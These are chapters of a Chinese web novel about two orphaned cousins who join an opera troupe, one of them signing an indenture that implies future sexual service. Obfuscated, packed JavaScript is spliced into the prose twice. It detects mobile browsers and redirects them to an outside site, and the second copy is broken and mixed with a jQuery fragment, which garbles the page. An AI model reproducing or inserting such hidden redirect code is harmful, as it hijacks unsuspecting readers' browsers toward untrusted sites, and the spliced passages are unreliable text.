女人一拍手:“我也‘啊?’了一声,从未见过这样的奇事。但有钱,我们不必典当活命的铺子,立刻为你们抓了药来。只是你妹子病得实在厉害,比你还重,安顿好的那晚就发起高烧,眼下还在我的房间里躺着呢。不过你莫担心,烧已退了,只是还需休息。” 听到最后,知晓表妹的情况,周莲泱一路跌宕起伏的心终于宁定。原来两人能活下来,终究还是靠着表妹。 说话期间,吴铁音一直不错眼地瞧着他,只见面前的少年闭了一下眼,长长的睫毛一颤,落下两滴泪,立刻止住。半晌,才轻出一口气,道:“音大姐,大恩不言谢。待我身体能下地,便去找活干,决不再给你们添麻烦。” 吴铁音又轻又快地笑了一下,周莲泱不解其意,但她并未解释,只道:“你表妹的银票还剩些许,我家至少不差两个孩子一口吃的。你腰伤严重,养不好,非得落下毛病。先歇着罢。” 吴铁音风风火火地出去,又风风火火地回来,手里端着清粥与汤药,与周莲泱吃。他吃了之后,便又累得犯困,定神睡去,比前几夜都睡得安稳。 过了几天,腰伤大抵愈合,他能下地,才发现和想象的不同,吴铁音口里的“生意”,其实是个丧材铺子。铜陵偏僻一角,一条街都是卖丧材的,一出门,都是香火的烟灰味儿。他本来心里还因为丧葬岗一夜有些别扭,发现音大姐将铺子打扫得干净整洁,也就习惯了。 掌铺子的实际是吴铁音,她口里的“外公”是个矮矮小小的白发老人,姓李,年龄已过花甲,身高不及五尺,满脸皱纹,相貌和蔼可亲。 见他出来,李公还特意关照几句。老人耳背,周莲泱只能喊着说话,交流不畅,老人就笑着捏捏他的腕子,拍拍背、头,像对自家小辈一样,端一盘果子点心,硬要他吃。 周莲泱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周莲泱停下手中活计,怔然驻足,只觉人生恍若大梦一场,不知荣华是真,还是飘零为假。 肩头忽然拍来一掌,是腰间缠着汗巾、忙得一头是汗的吴铁音:“你若想出去顽,等傍晚做完了,去城中听戏,莫听着腌臜人唱的东西。” 周莲泱心头一动,便多问了几句,吴铁音神色回避。他奇怪起来:音大姐性格爽朗,向来有什么说什么,不过一个戏班,怎么如此吞吞吐吐? 吴铁音叹气,半晌憋出一句:“你想,她唱得妙,为何不去好地方拼,在咱们这条街唱?就知道不是什么正经。别问了,你是好人家出来的,莫扯干系。 ” 周莲泱半懂不懂,看吴铁音的模样,不像鄙夷优伶,而是专门对这唱戏人的不齿。他将手上活计做完,便出门听戏,最后忍不住好奇心动,去瞧了一眼吴铁音嘴里的“腌臜人”。 他去的时候,戏已经收摊了,后场走出来一个中年妇人,手脸已洗干净,头发理得整齐。一望她的风韵便知,她年青时必是一个出名的女戏。 打听之下,这妇人原来是江宁“泰春班”班主的夫人。戏班班主大多不是唱戏的,而是商户、乡绅等,泰春班的班主曾是一舵主,颇有人脉,收了夫人所在的“熙和班”,再改名成为班主,在江宁经营起来。 此次班主携夫人到铜陵,是为了祭祖的。 这样不算小的戏班,为何让吴铁音避之不及呢? 庙会一连三天,每日周莲泱都借机出门,去听那妇人唱戏,到了第三日,终于寻得一个机会,与她搭上了话。 那一日,周莲泱回来的很晚,乔璃本想见一见他,商量两人以后的去处,久等不至,只能先睡了。深夜三更,他才踏夜露而归。 自他伤好了七八分后,两人便睡在一处偏房,不占用吴铁音的卧床。周莲泱悄悄地进屋,不愿惊动乔璃,只借淌入窗棂的如洗月光,向她姣好的睡脸望去。 庙会结束,那些管乐丝弦、花柳繁华,都尽在幽深的夜色里。空尽尽的,盛夏时节,也透着丝丝凉气。 周莲泱唇角微含笑意。他不能不笑,因为他终于有了安置表妹的底气,便是银票花完,她大抵也是不用吃苦的。 “……表哥?”乔璃困顿地揉揉眼睛,不知他为何不上床,独自坐在那里。 “囡儿,我与你说一件事。” 少年的眼里微微亮着一点笑,但在憧憧夜影里,又好似森森沉沉地荒凉了。 “我找到一条赚钱的生计,咱们不能总麻烦音大姐。我养着你,囡儿,我一定把你养大,将病治好。” 乔璃只觉得心尖又被那只枯手一把捏住了似的,无意识痛嗯了一声,握住他的手,半支起身:“表哥,你实话告诉我,你找了什么生计?” 周莲泱笑着,双眸温柔似水,又黑黑的,像苍冷的星子。 “没什么,我把自己卖了。过几日,我们就去江宁吧。” 11. 拾 情真一诺 那日,丧材铺的吴铁音得知周莲泱的决定,脸色就变得不好。他不愿勉强,再留几日,待乔璃病体好了个七八分,提前收拾几件衣物,认真道谢拜别。 九月的第一天,周莲泱带着自己的表妹乔璃,投奔玉关柳的戏班。 “你竟真来了。” 门应声而开,走出个女人,开门之后,先看周莲泱,又看乔璃,视线意味深长。打量片刻,侧身让两人进来。 这是一个不大的院子,看得出不常住人,园中花草盆植都枯黄萎败,但四下精心洒扫过,墙角都不积灰尘。 给两人开门的女人只有三十岁出头的模样,穿着素衣布鞋,材质并不昂贵。她的五官很淡,素面朝天时,颧骨能看见几颗褐斑,实在说不上有多好看。打一照面,很难想象她曾在苏淮一带,得过“小陈圆”的名号[1]。 “我那夜说了好些话,东家居然不信我?” 周莲泱一手牵着表妹,一手拎着包袱,头发打了一点油,往后抹得整整齐齐。他的脸也洗的很干净,走了两刻钟,染着薄汗,仍然是清爽利落的。 他侧头轻捏乔璃的手,道:“妹妹,这位就是我与你说的泰春班东家。” 两三日不见,少年看着似又沉稳两分,只是不知让他牵肠挂肚的“表妹”又是何许样人。 心里这么想着,女人脸色不动,只是笑道:“贱妾无名,只得‘玉关柳’一诨号,你就跟着别人一道叫我柳姨,或东家罢。” 低眉敛容的少女乖巧道:“见过柳姨,柳姨好。” 夜里蓄的晨雾在太阳还未升起前就散了个一干二净。天还是热,时而连绵的阴雨,也挡不住汗透重衣的旱燥。 玉关柳解开腰间的松花汗巾子,轻轻擦拭额角。她天刚亮时就起床打拳吊嗓子,二十年来除非大事,否则一日不歇。 刚吊完嗓子,玉关柳说话还是很轻,细声慢语的,步伐款款,引两人去待客的小厅。 “我活了也有半辈子,听惯痴情名伎负心汉,未闻有男子自甘下贱养幼妻的……”她瞥了一眼容色沉静、但掩不去五官稚嫩的乔璃,“你这‘妻子’,十五岁都未有罢,当真结婚了不成?” “回柳姨的话,我与表哥两年前订婚,半年前确已完婚了。” 听到乔璃说话,周莲泱后背下意识一挺,跟着点头。 玉关柳慢悠悠伸来一只手,乔璃没有躲,任由那只留着两根水葱似长指甲的手覆在额上。 “小脸发青呢,真是可怜见的。”玉关柳待两人坐下,端了热水点心。“小莲儿,你再把药单拿出来与我瞧瞧。” 她说着拈了一块海棠糕,强硬塞进乔璃掌心。海棠糕是新做的,表皮烤得微黄,放冷也自带一股麦香。 周莲泱瞧她捧那块糕,四只眼睛盯着,吃也不是,不吃也不是,只能低下头轻轻啃一口,里面的红豆沙都未啃出来,不由笑一笑:“没有什么药方,都是表妹根据自身的情况,现写了由我去抓。只是有几样,如紫参、天麻,冬虫夏草一类,不仅品质要好,也需足一定年份,因而贵。 ” “哦?”玉关柳把一双眼转向乔璃。 那并不是一双秀长多情的美目,线条平凡,眼睛却是慧黠不宁的,微微那么一顾盼,并不刻意,就似一泓秋水般流淌出魅力来。 “是你写的?” 乔璃垂眸片刻,道:“柳姨见笑,不过是我请不起大夫,依着家中吃惯的药方增减一二罢了,并不值得在意。说起来,若要入戏班,表哥的卖身契,能否让我提前一观?” 玉关柳抚掌轻笑:“并非卖身契,而是学徒契,可要记好了。我与你表哥也说过,就算是那娴熟的工匠,一月起薪不过二十银元。你那药方里,上好的天麻一两便要一月工钱,更不用提紫参,二三倍也使得。戏子下贱,又是从头学起,便是加上你花言巧语同我说什么拉丁语、教堂唱诗的基础,我也不会给高于十五的月钱。” “这是清角的价格。”周莲泱低道。 玉关柳轻叹:“不错,这是清角学徒的价格,是我观你有唱红的潜力,才出这高价。你若唱红,票友专给的投笺披红[2],我是不苛的,但每场票收,你连分红都不会有。” “所以我……我不当清角。”周莲泱的声音有一线抖,却还是稳住了,“若是不当清角,一月你愿出三十五。” “不错,这正是我在学徒契里拟的价格。”玉关柳递来一张纸,还有红泥盒,“签了名姓、按好指印,契约成立。” “不做清角,又是什么?”静默倾听的乔璃忽然开口。 玉关柳点了点手里的堆花紫砂壶,悠悠一笑:“所谓清角,就是卖艺,卖嗓子,卖戏里头的身段儿。另一种么,就是要把你能卖的无所不卖,譬如你表哥读过书的少爷身份,给洋人唱过圣经的诗童气质,最重要的,自然是……” “东家。”周莲泱的嗓子微微凝噎着,眼圈周围也积出一圈薄红。他眼睛里盈了一层莹光,雾颤颤的,依然看得出深处的几分刚强。“签契的时候,您要表妹也在一旁看着。她在了,便行了罢。” 玉关柳怔了怔,瞧他含泪凝不流的模样,道:“……我本还存疑,现在发觉你入此门说不定天然有一番造化。也罢,你签了契,今日就在我这里住下吧。” “请您等等。”乔璃转过头,黑黑的瞳仁似是要扎进少年心里,“说了这么一句清角的事,又不往下说了,为什么?我要知道。” “不做清角,表哥又要做什么?卖什么?” “不卖什么!”周莲泱猛地站起来,双手按在桌子上,背脊微弓,低头不去看她,“你……你总会知道的,我不打算瞒你,只是,只是现在又不用……不用卖,知道了也没意思。是么?” 最后一句话,是问给玉关柳的。女人叹道:“我不是什么善心家,泰春班虽然不止教清角,但也绝不强逼人。都一样苦命,做这些又干什么呢?再且,总要唱红了戏,才有人愿意买,最小的,也要从十五岁做起。” 这番话虽然没有明着指出卖什么,但有心人也都能猜出来,周莲泱只强撑着安慰自己表妹不知人事,用言语哄她,也哄自己罢了。 乔璃倒真没继续问个水落石出去剖他的心肝,只愣了一会,望着玉关柳,道:“这契,一签要签几年呢,能告诉我吗?” 玉关柳答:“惯常签三年、五年,不做清角,就要更久。他的契是十年,若唱不出名堂,这契我可以毁。但他唱好了要走,可是走不掉的。” 开头,玉关柳以为她不言语是怵住了,便要周莲泱按指印,半途却被一只手挡住。这小女孩的眼睛逆着阳光,丝毫没有孩童的天真,倒沉着种深夜天河静水似的幽静。 “我知柳姨给的条例已是极宽待的了,照理,表哥与我合该感谢。但我还想再开一个价,纳入契约,五年之后,表哥可以按约赎身。” 说完,她撩起衣摆,对着玉关柳缓缓跪下:“拜求柳姨。” 周莲泱前日将自己卖了的时候没哭,面对吴铁音异样的眼光时也没哭,现在忽然就倏倏掉下泪来,想,表妹今日替他而跪,他便是为她随时死了,也只会感谢她。 玉关柳瞧着眼前这对苦命鸳鸯,突然把脸一横:“凭什么?我教他成名便要一二年,有无人买尚还存疑。倘若他唱出名,只能卖两三年,我又能赚得什么好?一直捏在手里岂不稳妥?” “柳姨误会了,我说的价,并非几许银钱。即非钱,也非别的赎身物。我押给柳姨的,是一笔对未来的投资。”乔璃停顿片刻,慢慢补充道,“我想以我未来五年的可能,去换表哥五年的价值,因为到时候,我一定能给柳姨带来更大的利益。” 回应她的是一串银铃似的笑声。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15615131|172195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 玉关柳这个人很奇怪,她轻声慢语时,总有一种超越年龄的成熟风韵,笑起来倒好像一下变年轻了,露出一种小女儿情态。 花枝娇俏、容色轻颤间,显示出一种怪诞肆意的、孩童般天真的恶毒。 她笑毕,却不说话,拿起眼前的紫砂壶,轻轻拂拭。她看着紫砂壶的目光,即怀念,又藏着一股深切入骨的怨恨,和说不出的倦:“苦命鸳鸯,真可怜呵……小姑娘家家,好大的口气,我不信,不添,不要什么远大的投资。就给我卖命吧,皮肉、鲜血、傲骨……每一寸我都会榨个干净。” 周莲泱的唇微微抖起来,伸手要去把乔璃从地上拽起:“囡儿,别跪了,没事,只是十年而已,我可以的……” “五年之后,表哥仍在泰春班当清角,尽可卖唱,只是另一件,请允我赎回。”乔璃搭着周莲泱的手,慢慢起身。她跪得有点久,站起身,面色更白。 因为每日药吃得不如以前好,她更容易感到乏累,眼前也蒙上一层水雾,看起来要哭了似的。 玉关柳一直在不着痕迹地观察她,以为二度遭到拒绝,这小女孩会哭、会悲伤,会怨恨,谁知那双眼里不仅没有这种情绪,反而是…… 奇货可居之意? 这让玉关柳想不明白,甚至开始质疑自己对人心的敏锐,心念电转间,乔璃已走到她近前,忽然笑眯眯的,瞧得玉关柳心头一跳:女孩的右手攥成个拳头,莫不是想打她?这也太荒谬了。 她感到荒谬,却也没动,想看看对方到底要做什么。 只见乔璃用拳头抵住玉关柳后腰偏下的位置,手腕一转,拳峰抵着一处深深揉进去。 玉关柳发出从未有过的呕哑难听的一声“诶呀”,前倾着伏到案几上,不受控地将杯碟哗啦啦扫了一地。唯那只紫砂壶,被乔璃提前拿在另一只手里,倒是保住了。 “你、你做什么……” 她这么一点、一揉、一转,转得玉关柳后腰生生得痛,一下脱去浑身气力,软如面条,被乔璃按住肩膀,硬将那股痛劲揉散揉开。 说来也怪,剧痛过去,剩下的是一种懒懒的松倦,上年纪后,五六年都未有这样轻松的时刻。 “柳姨身体好,但后背的经络很不通畅,总淤堵着,月事怕也不调,不是连月不来,就是一来极难过。” 乔璃将紫砂壶小心放回玉关柳手里,唇微微一扬:“表哥现在尚不能赚钱,还要依您教导,才能登台唱戏。但我已可以为您创造价值,弥补这段时间的空白。这样积年的毛病,我一望便知,非说大话,但戏班往后有人患病,与其请大夫,不如先问问我这个免费的劳力。” 她把话点到为止,坐回原位,由缓过劲的玉关柳思考。她不急,玉关柳反倒慢慢凝重神色。 “前话求柳姨的是投资,并非施舍。”乔璃抬眼,“而我今年,方及十三。” 玉关柳神色微动,半晌,又笑起来,只是银铃般的笑声里,少了几分嘲蔑。 “你表哥前日来找我,装得勇敢,实则心底没谱。在这个年纪,倒也值得夸赞。我便猜,这孩子外强中干,一定是模仿家里大人,没想到模仿得是你。” 女人扶腰往后靠靠,了悟地抬起手,搭着前额。 “他与我谈话的气势,学得也是你。奇了,真是奇怪,从未见过你这样的。” 她抬起笔,在学徒契上草草写了一行,转给乔璃:“喏,五年之后,若你真有什么能为,付这个数,我也就放你表哥走。” 周莲泱定睛一看,契上赫然写着“肆万贰仟圆整”。 需知当年他家老太爷请一个戏班,不过千余银元,而今他的一纸赎身状竟标了四万两千银元——足可置三坊五巷,雇十馆百伶,演它一十二年戏。 不等他高呼荒唐,乔璃一点头,抓住他的手指,轻蹭红泥,按下手印。 12. 拾壹 甜美之物 普通小子来戏班当学徒,自然翻不出什么水花,但周莲泱和乔璃读过书,是富贵人家遭难出来的,严树明就多给一分尊重,置了好酒菜,权作接风。 两元钱一桌的便席菜,两个冷荤,两个热炒,两个大碗,再一大件红烧整肘子,全是玉关柳使养女严雪辕提回来的。 她个子比养父还高,肤色黝黑,身板壮实,从后背看,若没有细掐进去的一截腰,根本瞧不出是个寻常女子。 周莲泱往她比同龄小子还要宽一节的肩瞧,心中感叹若自家表妹以后也能长成这样健康强壮,他就欢喜得别无所求了。 殊不知,他家表妹病愈长成后倒是与严雪辕相差无几,但他气恼不成却被扛起来的时候,可没有今日这般欢喜…… 一桌菜从饭馆提回来,光是木匣子就有三大只,沉甸甸的,叫周莲泱来,都未必提得动。严雪辕身板不摇不晃,稳当当健步如飞,从饭馆回来到摆好菜,碗碟上还冒着热气呢。 冷荤是咸火腿与盐水鸭的拼盘,炒菜有熘肝尖、炒牛肉丝,两大碗为红烧鱼块和四喜丸子,相当丰盛。这样的菜,在吴铁音家,便是砍去一半,也是从未吃到过的。 周莲泱观察严雪辕的面色,就明白这顿饭她只当寻常,并不如何稀罕。 严树明开了一瓶酒,只有他一人独饮。一筷子肉,一口白酒,很是自得,时不时招呼两人夹菜。喝到最后,见他自斟自饮的孤独,玉关柳也用了两杯。 她一喝酒便上头,脸红红的,隔空点一指头在周莲泱额上:“小莲儿,你听过什么好戏不曾?” 说完,也不许他接话,自顾自笑靥染红云:“想必是没听过的,你呀,还有你,小乔儿呀,今日可是有耳福咯……” 只见她纤影一晃,人已入里屋。严树明瞧着妻子的背影,举杯笑笑:“你们东家醉了。醉了就要唱戏。辕儿,你也去换衣服。” 严雪辕放下筷子站起身,轻车熟路地披了一件胸前绣补子的文官戏袍,穿在家常衣服外面。玉关柳换得久,出来时,是一整套粉衣白披,扮得是《紫钗记》里的霍小玉。 《紫钗记》写唐代才子李益与郡主霍小玉互许终身,却因权贵记恨作梗,致使二人一别数年。小玉蒙冤受辱、贫病交加,而李益误信蒙蔽,遭受软禁。 两人久经曲折,终于以定情紫钗嫌疑冰释,冤屈终解。 《折柳》、《阳关》两折,叙述得是李益奉旨随征,霍小玉在灞桥饯行,倾情惜别之景。词曲幽幽悱恻,缠绵哀怨,堪称“临川四梦”第一梦。 当年玉关柳红极之时,便是串戏《折柳》唱成了花魁,她唱到寄生草的时候,满岸轻柳飞絮都因声凝住,不肯飘离零散,因此叫作玉关柳。 严树明早已净手,擎一琵琶,随手一拨,权作开场。严雪辕直接从点绛唇的念白开始唱:“夫人,出门何意向边州……” 周莲泱观摩的第一场戏,就是玉关柳亲唱的《折柳·阳关》。 她唱戏,还未启唇,哀怨便生。灞桥折柳,送君出关,虽是忧愁,却也不能过怨。含情脉脉,欲语还休。 玉关柳哀愁的韵味,是极女性化的,寡淡的五官,蒙上那层雾雨朦胧的哀愁后,就化成一种盈盈冉冉的凄美。 待她启声,唱飞絮浑难住,眼前就仿佛真的看见雪片似的灞桥柳絮;她唱妾有泪珠千点,指拈严雪辕衣袖,就真落下泪珠如串,染湿层叠袖摆,随丈夫李益远行边州。 她倾腰下弯,回身展袖,真如孤鸾之在烟雾,将人扯入戏文中的情思,哀霍小玉之哀惧,愁霍小玉之离愁。 无论是周莲泱,还是乔璃,两人全都听住了,心神迷进烟雨朦胧的灞桥柳岸,忘了夏日燥热,忘了前路渺渺,忘了己身忧愁。 她确实是有资格当我老师的。周莲泱想。那么,一个秦淮伎女,唱如此精妙的戏,究竟师承何人呢?他一问,再问,玉关柳都未曾告诉他。 很久很久以后,玉关柳已不再是玉关柳,恢复本名,才肯将自己的故事徐徐道出。 现在,周莲泱只是暗自将玉关柳的腔调情态记进心里。名师难得,想要学戏,更要有好的记忆力和悟性。他都不缺,但是,若想早早出名,赚得更多银钱,必须做得比下苦功夫还要超过几分。 ------ 祭祖过后,严树明就要携妻女回江宁了。周莲泱与乔璃本无什么行李,到了戏班,自然有分配的日常用品。最后,只有几身衣服放在包裹,剩下的碎银一分为二,一半之前留在吴铁音家,一半全换为成药,以备乔璃不时之需。 跟随马车离开之前,周莲泱没想到,自己还能见到一个人。 他本出门去城中大医馆取表妹的药,回程路上眼前突然转出个人影,拽着他胳膊要猫进暗里头。周莲泱吓一跳,本能要挣扎,后背就被敲一记,还是熟悉的力道:“小子,是我!” 吴铁音穿着条棉裙子,上半身是件新做的窄袖单衣,手里提了个打得严严实实的包袱,看了他两眼:“这几天你俩走了,老头吃不香睡不好,一定要我给你们带一兜子奶饽饽。真是,也不是没养过小孩,有啥可稀罕的。” 说着,她一递一塞,把包袱让进周莲泱手里。 “别拒,我知道你要走,特意找你说几句话。你要是拒我的奶饽饽,这几句金玉良言可就听不着了。” 周莲泱犹豫片刻,把包袱背到背上:“音大姐想说什么?” 吴铁音抬起眼,飞快把他一瞧:“你铁了心跟玉关柳,想着跟她唱戏赚得钱多,是也不是?” 没什么不好承认的,周莲泱点点头:“是。” “好,你虽然是个少爷,但也是个爽快人。我读过几本书,不是睁眼瞎,所以问你:你知不知道,你入泰春班,当玉关柳养出来的荤角,这一辈子,都不可能再捡回你的少爷风光了,一辈子,都会被戳脊梁骨,遭人唾弃,死也入不得祖坟。你想想,为这一时一刻的银钱,搭进去一辈子的骨气名节,值得么?” 周莲泱苦笑,沉默半晌,只说了一句话:“可是没有钱,我妹妹就活不成了。” 吴铁音一噎,神情也有些无奈:“我不是……不是瞧不起你,也不愿泼你冷水。你不了解玉关柳,我是知道的。她是个顶下贱的坏种,能做出什么样的事,凭你这种涉世未深的毛头小子,根本想象不到。我并非蓄意抹黑,而是因为我比任何人都了解她。” 女人往墙上一靠,锁紧手臂,脸上的表情似追忆,又似愤懑,破坏了素日给人的那种踏实的朴意,看起来有些奇怪:“玉关柳此人,能为一己之私、之乐、之快意,全不屑什么诚实道义。只要能得到自己想要的,骗一个人,杀一条命,又有什么不能做呢。” 周莲泱被她的话搞懵了:“音大姐的意思,是玉关柳杀过人?” 吴铁音定定地看着他:“我的意思是叫你不要信她。她这人,若是把谁看进眼,一会好、一会歹,能生生把人的骨头磨垮。我叫你别信她,是为保全你和你妹子。 当年她演花旦演得好,戏班里和她一直搭戏的小生倾心于她,身家财产全都予了玉关柳。她那时名气大,这点爱慕不算什么,自然看不进眼里。年节时有霓国人要她唱戏,言语无状惹了她,她不唱,霓国人就将烧红的炭块活活塞进那小生的喉咙里。即便这样,玉关柳也不屑。第二天,坏了嗓子的小生就吊死了。” 周莲泱若有所悟,可不管怎么说,音大姐为何担心他会信任一个把自己当作货物出卖的班头呢?吴铁音像是看穿他的心思,摇摇头:“现在多说无益,有些事只有碰到临头才能懂,我到时候只希望你还能记得我的只言片语罢了。” 说完,吴铁音又嘱咐周莲泱几句。她人做事爽利,既已道别,便不多留恋,干脆利落地走了。 待到周莲泱提着包袱回到两人暂住的小厢房,见到乔璃,将吴铁音告诉他的事情说了,才觉得有些晕乎:“囡儿,你说音大姐特意和我说这番话,到底是什么意思?” “她的意思是,玉关柳是个危险的人。”乔璃摸摸他在外行走热乎乎的脸,拧了条帕子给他擦汗。“不要紧,我大概知道了。” 周莲泱乖乖仰着脸,拨开长长的额发方 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“荒……荒唐!”周莲泱侧身想跑,可女孩半个身子都搭在自己肩上,八爪鱼一样挂着,他怕摔了她,不敢动,被施了定身咒似的,维持在一个微妙好笑的姿势。 “姑娘家……怎能……” “什么姑娘家,我和表哥已经是夫妻了。”乔璃趴在他肩头,嬉笑着,亲亲他的耳根。“表哥懊恼的是,主动的不是你,是我?” “囡儿……”他的人也如耳根一样,戳破就软了,似嗔还怨地瞥她一眼,“……你不累,还不睡么?” “表哥先睡,给囡儿暖暖被窝。”乔璃大发慈悲地松开他,就看见周莲泱逃也似地蹿进被子里,半晌,才冒出一句话。 “……你还要做什么,早些休息吧。” 乔璃便笑:“我得写一封信。” 她回到小桌前,桌上搁着一封写了一半的信纸。纸非好纸,笔也只是炭笔。 周莲泱不在的时候,玉关柳捉了她,告诉她“荤角”的事,眼角眉梢流露的都是恶意。她这个人很奇怪,不愿强逼人时,说的是真话。可说她不愿放周莲泱走时,也是真心话。 但乔璃写在信纸上的不是玉关柳,也不是周莲泱终要面对的“荤角义务”,而是他去找玉关柳时,学着她的气势,展现价值,让玉关柳升起收徒之心的模样。 “学技必先学文,大半唱戏的学徒,都是未读过诗书的,戏中情态深韵又怎可理解?不能理解,又怎能传达给看戏之人?我通读四书五经,学过琴棋书画,还给教堂洋人唱过诗。国人士子的喜好,洋人爱看能理解的东西,我腹中都通一二。如今年岁也不算大,我又非毫无根基之人,东家若是错过我,可是放跑了会生金蛋的鸡,我都要为您惋惜了。” 思绪就此打住,乔璃揉揉额角,眼前仿佛能幻想出周莲泱据理力争的模样,不由自主地笑一笑。 她写完,就把信纸一角沾上灯火,不一会就烧成灰烬。 “不管恢复记忆后,你是怎样的人,这些信……是我写给你的。你若欺负他,我可不允。” 乔璃点点自己的心口,上扬的嘴角慢慢落回原处,又恢复不声不动便宛若死人的神情。 “欺负……偶尔欺负一下也不是不行。只是不能太过。” 乔璃起身,被窝里面已经是暖呼呼的了,钻进去,从后面搂住周莲泱的腰,抵着他尚不坚厚,但足够挺拔的背脊,很快睡着了。 这时候,两人具以为,下一站会是柳碧胭脂红的江宁,却不料泰春班只在江宁待了月余,严树明就听到朝廷颠覆的风声。 各路人马动荡不安,连带江宁也少了几分酒旗戏鼓的悠闲。经过多次考虑,严树明也在甬明行商友人的劝导下,携泰春班沿河道往上,进入海市。 一番折腾,落脚,适应,见缝插针地排戏,等一切尘埃落定,已是翻年再翻年。 周莲泱学艺近两载,第一次登台亮相,已是新历初年的上海滩了。 13. 拾贰 金雀轻分 黄浦江畔,天夜空旷得很高很高,流涨着些灰白的云,一点两点星欲藏还露。云翳厚重,却掩不住明镜般美丽的月轮。 中秋将近了,在外漂泊的浪子,也渐渐隐不下归乡的迫切。这样悠远深长的愁绪,在美租界却是浅淡而看不分明的。 月光照在乍浦路上,也映照着苏州河边的雾气,小茶楼的布幌轻晃着,有身穿旗袍的女子倚门而立。巷子路上摇摇晃晃走来一个人影,女子打起精神,发现只是个尚未及笄的少女,抱着一摞浆洗好的衣料,顿时失了兴趣。 待她走过,巷口又走来两个醉醺醺的美国水手,穿旗袍的女子便迈出几步,冲他们一笑。手里的绸帕半遮着脸,微微那么一晃,晃出犹抱琵琶的风韵,沿着另一条窄路,窈窈窕窕转进去。 少女若有所觉,回头一看,美国大兵也不见了。巷子里,理发店的木门半掩着,隐约传来留声机的乐声。 那里,不是剪头发的地方。 她抱着衣料继续往前走。月光跟在她身后,迈过一处隐蔽的拐角。从那儿绕出去,就是北苏州路。苏州河畔,新开了几家“Dance Hall”,使并肩的几条窄巷,都额外多了许多嘈杂人声。 水声哗哗,非是河音,而是两双被井水浸得青白的手正洗着餐桌用的布帕子。它们是餐布,之前被折成一朵高档的花,点缀在杯子里,沾满红酒与牛排的浆液后,需得细细搓洗,才能再次使用。 “水冷么?”“不冷,今日是秋老虎呢,都温温的。” “听说明儿又有什么对‘元大总统’的游行示威了?上次还闹出人命,我真是怕得紧。”“嗐——有什么可怕的?再怎么示威,那些穷学生也闯不进租界来。哎呀,你瞧你,穿这件旧夹袄,怪不得满头汗。” “我穿不惯洋人衣裳,胸口空落落的……就去年,咱们还拜皇帝大老爷呢……” “是啊,谁承想,皇帝还能没有呢……” 随着少女渐行渐远,两个给“Dance Hall”做活的女孩的声音也远了。 乍浦路、吴淞路,以及再东边的百老汇街上,这样的小茶楼、理发店,跳舞厅,随处可见。有月亮照着,死角也黑魆魆的。 道路的尽头,藏着一幢两层的石库门里弄房,是少女的目的地。几年前新建的楼,清水青砖,石灰勾缝,门楣做了半弧形的山花楣饰,不似传统砖雕青瓦的压顶门头,而是更西方化了[1]。 这样一栋楼,虽处在美租界与英租界接壤的混杂地带,能仍有一点高墙深院、闹中取静的好处。因而在美租界里,没有一点旁的势力,是住不进这样好的地方的。 少女走到弄房乌漆实木的后门,握住铜把手。把手往上,嵌一个铜牌,刻着“泰春班”三个小字。 铜牌不大,收敛着,似也怕张扬谁的眼。毕竟短短一年就在美租界闯出名头的戏班,它和这条鱼龙混杂的苏州河一样,都和“冰清玉洁”沾不上一点边。 她伸手推开门,后门挨着后天井和灶台,四间小小的后厢房作为化妆间与存放戏服的储藏间。 踏进门前,她抬头望了一眼天幕。 这是一个很美丽的月夜,月晕泛着一种诡秘的蓝,嵌在深色的天幕与云翳里。 两个说话的女孩,让她想起喜儿和燕儿,想起玲云和臻云。似乎在哪里,都有这样做惯杂活的小丫头子,叽叽喳喳,嬉嬉笑笑,恍惚间,把她扯回一些不算久远,却已陌生的记忆中。 一道细而轻巧又无比熟悉的清唱声飞上天幕,将乔璃牵回现实。 绕进去,立马跑来一个小旦夺走衣服,拧她的脸阴阳怪气了几句动作慢,便搡她进了一处化妆间。她被推一把,也不恼,揉揉肩膀,走进半掩的木门后。 一个清瘦的身影穿着稍大的戏服,正背对着她对镜梳妆,一边涂粉,一边吊嗓子。分明是坐着的,高音却和黄鹂鸟一样,轻轻松松往上飘,飘得那么高,还有充盈的力气垫在下面。 乔璃唇畔始终染着的笑意更深。 木门一合,屋子里只剩下香粉与戏服的胭脂气,就剩下他的声音,勾着她的耳朵,勾得痒酥酥的。 “表哥,我回来了。” 乔璃把身体盖在他的肩上,眼睛看向镜子。他的妆已经画完了,浓妆艳抹,只剩一对斜飞如鬓的柳叶眉未描。 戏腔不止,她就低下头,唇呼着热气去蹭脖颈未沾粉底的地方,譬如喉结,譬如……这下终于弄乱了他的调子,微微颤着收了音。 一只手从左侧伸来,指尖顶她额心,稍微用力点了点:“淘气。” “表哥不理我。”乔璃陈述事实。 “表哥没有不理囡儿。” 周莲泱侧头,妆底铺得重,更突显一双水盈盈杏眼的清亮,双眼皮,眼角稍稍往下弯,如猫儿一样圆而灵动,里面漾着笑。 乔璃双手拢着他,轻轻吐出一句话:“我给你描眉。” 螺子黛含在手里,她动作放得很轻,黛笔利落地画出一条蜿蜒的墨线。她描眉已很熟练,随着角色的不同,柳叶眉时厚时细,时重时薄,都是好看的。 昏暗的灯光打在两人身上,影子叠成一个。 “今日出去这么久,可有不适?”周莲泱对着镜子打量完成的戏妆,惯例问她。 “不曾。跑跑腿,也算活动筋骨,挺好的,免得一直睡。”乔璃答。 这回答并不能让他满意,周莲泱停下调整头冠的手,拧眉:“如今咳疾好些,怎么多了嗜睡的症状?” “也许是我的病快好了。”乔璃后退两步,语气一滑,避开这个话题:“表哥今日真美。” 周莲泱的眉没有松下来,但也不再谈这件事。只听咚的一声响,有人敲门,之前的小旦探半张脸进来,没好气地说:“周少爷,都快要演了,还不来?” 